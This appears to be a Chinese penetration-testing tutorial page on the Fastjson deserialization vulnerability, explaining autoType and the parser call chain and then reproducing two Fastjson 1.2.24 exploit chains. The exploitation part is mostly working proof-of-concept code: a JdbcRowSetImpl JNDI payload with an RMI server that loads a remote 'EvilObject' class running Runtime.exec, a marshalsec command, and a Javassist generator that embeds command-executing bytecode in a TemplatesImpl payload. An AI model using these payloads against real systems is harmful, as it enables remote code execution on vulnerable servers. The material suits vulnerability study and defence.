当前位置: 首页 > ai >正文

渗透测试-FastJson漏洞原理与复现

渗透测试 | FastJson漏洞原理与复现

在这里插入图片描述

简介

Fastjson 是 Alibaba 开发的Java 语言编写的高性能 JSON 库, 用于将数据在 JSON 和 Java Object 之间互相转换, 提供两个主要接口 JSON.toJSONString 和 JSON.parseObject / JSON. parse 来分别实现序列化和反序列化操作.

版本

Fastjson < 1.2.68

相关类
  • JSON:门面类,提供入口

  • DefaultJSONParser:主类

  • ParserConfig:配置相关类

  • JSONexerBase:字符分析类

  • JavaBeanDeserializer:JavaBean反序列化类

常用属性

SerializerFeature.WriteClassName

JSON.toJSONString()中的一个设置属性值,设置之后在序列化的时候会多写入一个@type,即写上被序列化的类名,type可以指定反序列化的类,并且调用其getter/setter/is方法

Feature.SupportNonPublicField

如果需要还原出private属性的话,还需要在JSON.parseObject/JSON.parse中加上Feature.SupportNonPublicField参数

json与类转化

类->JSON

常用方法:JSON.toJSONString(),常用参数如下

  • 序列化特性: com.alibaba.fastjson.serializer.SerializerFeature , 可以通过设置多 个特性到 FastjsonConfig 中全局使用, 也可以在使用具体方法中指定特性.

  • 序列化过滤器: com.alibaba.fastjson.serializer.SerializeFilter , 这是一个接口, 通 过配置它的子接口或者实现类就可以以扩展编程的方式实现定制序列化.

  • 序列化时的配置: com.alibaba.fastjson.serializer.SerializeConfig , 可以添加特点 类型自定义的序列化配置.

JSON->类

常用方法:parse、parseObject、parseArray,常用参数如下

  • 反序列化特性: com.alibaba.fastjson.parser.Feature.

  • 类的类型: java.lang.reflect.Type , 用来执行反序列化类的类型.

  • 处理泛型反序列化: com.alibaba.fastjson.TypeReference .

  • 编程扩展定制反序列化: com.alibaba.fastjson.parser.deserializer.ParseProcess , 例如 ExtraProcessor 用于处理多余的字段, ExtraTypeProvider 用于处理多余字段时提 供类型信息.

parse与parseObject的区别:使用 JSON.parse(jsonString) 和 JSON.parseObject(jsonString, Target.class) , 两者 调用链一致, 前者会在 jsonString 中解析字符串获取 @type 指定的类, 后者则会直接使用Target.class参数中的 class .

序列化与反序列化

序列化

在上面的代码中存在一个关键词 SerializerFeature.WriteClassName , 其是 toJSON String 设置的一个属性值, 设置之后在序列化的时候会多写入一个 @type , 即写上被序列化 的类名, type 可以指定反序列化的类, 并且调用其 getter / setter / is 方法.

反序列化

第一二种没有在引入了 @type 后, 成功反序列化, 可以看到 parse 成功 触发了 set 方法, parseObject 同时触发了 set 和 get 方法, 因为 fastjson 存在 autoTyp e 机制, 当用户指定 @type 时, 存在调用恶意 setter / getter 的情况, 这就是 fastjson反 序列化漏洞.

fastjson 反序列化漏洞基本原理

调用链分析

先跟进parse方法

这里会创建一个 DefaultJSONParser 对象,在这个过程中会有一个判断操作, 来判断解析的字符串是 { 还是 [ , 并根据判断的结果设置 tok en 值, 创建完成 DefaultJSONParser 对象后进入 DefaultJSONParser#parse 方法.

再步入DefaultJSONParser#parse

跟进 parseObject 方法, 这里会通过 scanSymbol 获取到 @type 指定类, 然后通过 TypeUtil s.loadClass 方法加载 Class .

跟进 TypeUtils.loadClass 方法, 这里首先会从 mappings 里面寻找类, mappings 中存放着 一些 Java 内置类, 由于前面一些条件不满足, 所以最后用 ClassLoader 加载类, 在这里也就 是加载 Exploit 类.

返回 clazz 值后回到上一级, 创建 ObjectDeserializer 对象, 并调用 getDeserializer方法.

跟进 ParserConfig#getDeserializer 方法, 继续调用 getDeserializer 方法, 这里使用了黑 名单限制可以反序列化的类, 但是黑名单里面只有 java.lang.Thread .

接着回到前面的 deserialze 方法, 往下调试到达 ASM 机制生成的临时代码, 最后调用 set 和 get 里面的方法.

下面直接引用结论,Fastjson会对满足下列要求的setter/getter方法进行调用:

满足条件的setter:

非静态函数

返回类型为void或当前类

参数个数为1个

满足条件的getter:

非静态方法

无参数

返回值类型继承自Collection或Map或AtomicBoolean或AtomicInteger或AtomicLong

Fastjson 1.2.24

这个版本的两条利用链

JdbcRowSetImpl

JdbcRowSetImpl 类位于 com.sun.rowset.JdbcRowSetImpl , 这条漏洞利用链的核心点是 jav ax.naming.InitialContext#lookup 参数可控导致的 JNDI 注入

poc

package com.poc;

import com.alibaba.fastjson.JSON;

public class fastjsonpoc2 {

public static void main(String[] args) throws Exception {

String PoC = “{\”@type\“:\“com.sun.rowset.JdbcRowSetImpl\”, \“dataSourceName\”:\“rmi://127.0.0.1:1099/refObj\”, \“autoCommit\”:true}”;

JSON.parse(PoC);

}

}

rmi

package com.poc;

import com.sun.jndi.rmi.registry.ReferenceWrapper;

import javax.naming.Reference;

import java.rmi.registry.LocateRegistry;

import java.rmi.registry.Registry;

public class RMI_Server {

public static void main(String args[]) throws Exception {

Registry registry = LocateRegistry.createRegistry(1099);

Reference refObj = new Reference(“vita_rain”, “EvilObject”, "http://127.0.0.1:8000/");

System.out.println(refObj);

ReferenceWrapper refObjWrapper = new ReferenceWrapper(refObj);

registry.bind(“refObj”, refObjWrapper);

}

}

evil

package com.Evil;

import java.io.IOException;

public class EvilObject {

static {

try{

Runtime.getRuntime().exec(“clac”);

}catch (IOException e){

e.printStackTrace();

}

}

}

或者用marshalsec起rmi服务

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://127.0.0.1:8000/#EvilOb" 1099

LDAP的方法和只是把协议和服务改为LDAP即可

Templateslmpl

位于com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl。

TemplatesImpl中存在一个名为_outputPropertiesget的私有变量,其getter方法中存在利用点,这个getter方法恰好满足了调用条件,在JSON字符串被解析时可以调用其在调用FastJson.parseObject()序列化为Java对象时会被调用。因此产生了漏洞。

利用链

getOutputProperties() ->

newTransformer() ->

getTransletInstance() ->

defineTransletClasses() / EvilClass.newInstance()

其中getOutputProperties()为_outputPropertiesget成员变量的getter方法。

getTransletInstance()中先调用defineTransletClasses,该方法的逻辑:

首先要求bytecodes不为空(bytecodes变量是TemplatesImpl类的成员变量,在构造poc时属于可控变量),然后就会调用自定义的Clssloader.defineClass去将_bytecodes中的值由字节码转化为Class对象赋值给_Class[i]。如果这个类的父类为 ABSTRACT_TRANSLET,_transletIndex变量值则会是此时_bytecodes数组中的下标值

由上可以得知:_bytecodes 是我们构造的恶意类 的类字节码, 这个类的父类是 AbstractTranslet , 最终这个类会被加载并使用 newInsta nce 实例化.

ps.成员变量_name和_tfactory不能为空,否者程序会提前return.

poc

import com.alibaba.fastjson.JSON;

import com.alibaba.fastjson.parser.Feature;

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;

import javassist.*;

import java.util.Base64;

public class fastjsonpoc1 {

public static String generateEvil() throws Exception {

ClassPool pool = ClassPool.getDefault();

CtClass clas = pool.makeClass(“Evil”);

pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));

String cmd = “Runtime.getRuntime().exec(\“calc\”);”;

clas.makeClassInitializer().insertBefore(cmd);

clas.setSuperclass(pool.getCtClass(AbstractTranslet.class.getName()));

clas.writeFile(“./”);

byte[] bytes = clas.toBytecode();

String EvilCode = Base64.getEncoder().encodeToString(bytes);

System.out.println(EvilCode);

return EvilCode;

}

public static void main(String[] args) throws Exception {

final String GADGAT_CLASS = “com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl”;

String evil = fastjsonpoc1.generateEvil();

String PoC = “{\”@type\“:\”" + GADGAT_CLASS + “\”,\“_bytecodes\”:[\“” + evil + “\”],‘_name’:‘a.b’,‘_tfactory’:{},\“_outputProperties\”:{ }," + “\“allowedProtocols\”:\“all\”}\n”;

JSON.parseObject(PoC,Object.class, Feature.SupportNonPublicField);

}

}

ClassPool.getDefault()获取默认类池,然后创建Evil类,接着设置Evil要继承的类

ClassPool pool = ClassPool.getDefault();

CtClass clas = pool.makeClass(“Evil”);

pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));

创建空的类初始化器,向构造函数里加入cmd

String cmd = “Runtime.getRuntime().exec(\“calc\”);”;

clas.makeClassInitializer().insertBefore(cmd);

设置加载AbstractTranslet类的搜索路径

clas.setSuperclass(pool.getCtClass(AbstractTranslet.class.getName())

将编译的类创建为.class文件

test.writeFile(“./”);

转换为字节码并进行base64加密

byte[] bytes = clas.toBytecode();

String EvilCode = Base64.getEncoder().encodeToString(bytes);

System.out.println(EvilCode);

return EvilCode;

最后构造序列化数据,进行触发

String PoC = “{\”@type\“:\”" + GADGAT_CLASS + “\”,\“_bytecodes\”:[\“” + evil + “\”],‘_name’:‘vi_ta’,‘_tfactory’:{},\“_outputProperties\”:{ }," + “\“allowedProtocols\”:\“all\”}\n”;

JSON.parseObject(PoC,Object.class, Feature.SupportNonPublicField);

.由于部分需要更改的私有变量没有 setter 方法, 需要使用 Feature.Supp ortNonPublicField 参数来触发.

http://www.xdnf.cn/news/19528.html

相关文章:

  • 【51单片机】【protues仿真】基于51单片机脉搏体温检测仪系统
  • 2024 年 AI 技术全景图:大模型轻量化、多模态融合如何重塑产业边界?
  • 数据库索引失效的原因+示例
  • (线上问题排查)3.线上API接口响应慢?一套高效排查与定位问题的心法
  • OpenCV-Python Tutorial : A Candy from Official Main Page(五)
  • Roo Code自定义Mode(模式)
  • 基于单片机智能家居环境监测报警系统Proteus仿真(含全部资料)
  • Cesium 加载桥梁3DTiles数据时,出现部分区域发暗、部分正常的现象
  • openEuler2403编译安装Nginx
  • 【期末复习】--软件工程
  • 苍穹外卖项目实战(日记十三)-记录实战教程及问题的解决方法-(day3-5) 修改菜品功能实现
  • C++ Bellman-Ford算法
  • 「数据获取」《中国住户调查年鉴》(2000-2024)(获取方式看绑定的资源)
  • # [特殊字符] 构建现代化黄金价格实时仪表盘:技术解析与实践
  • AI产品经理面试宝典第81天:RAG系统架构演进与面试核心要点解析
  • C++11新特性解析与应用
  • GPU 通用手册:裸机、Docker、K8s 环境实战宝典
  • Jetson AGX Orin平台R36.3.0版本1080P25fps MIPI相机图像采集异常调试记录
  • 在idea当中git的基础使用
  • 【公告】更新预告
  • 1.4 汽车的制动性
  • 面向对象六大设计原则(2.0详细版)
  • 永磁同步电机无速度算法--高频脉振方波注入法(测量轴系转子位置误差信号解耦处理)
  • Ansible 变量全解析与实践
  • MySQL DBA请注意 不要被Sleep会话蒙蔽了双眼
  • 【算法】124.二叉树中的最大路径和--通俗讲解
  • DeepSeek-V3.1 模型 API 新特性拆解:逆向 + 火山双渠道适配与推理模式智能切换指南
  • 保健品跨境电商:如何筑牢产品质量与安全防线?
  • 【推荐】Maye 更轻更简洁的快速启动工具【优化桌面】
  • AutoSar RTE介绍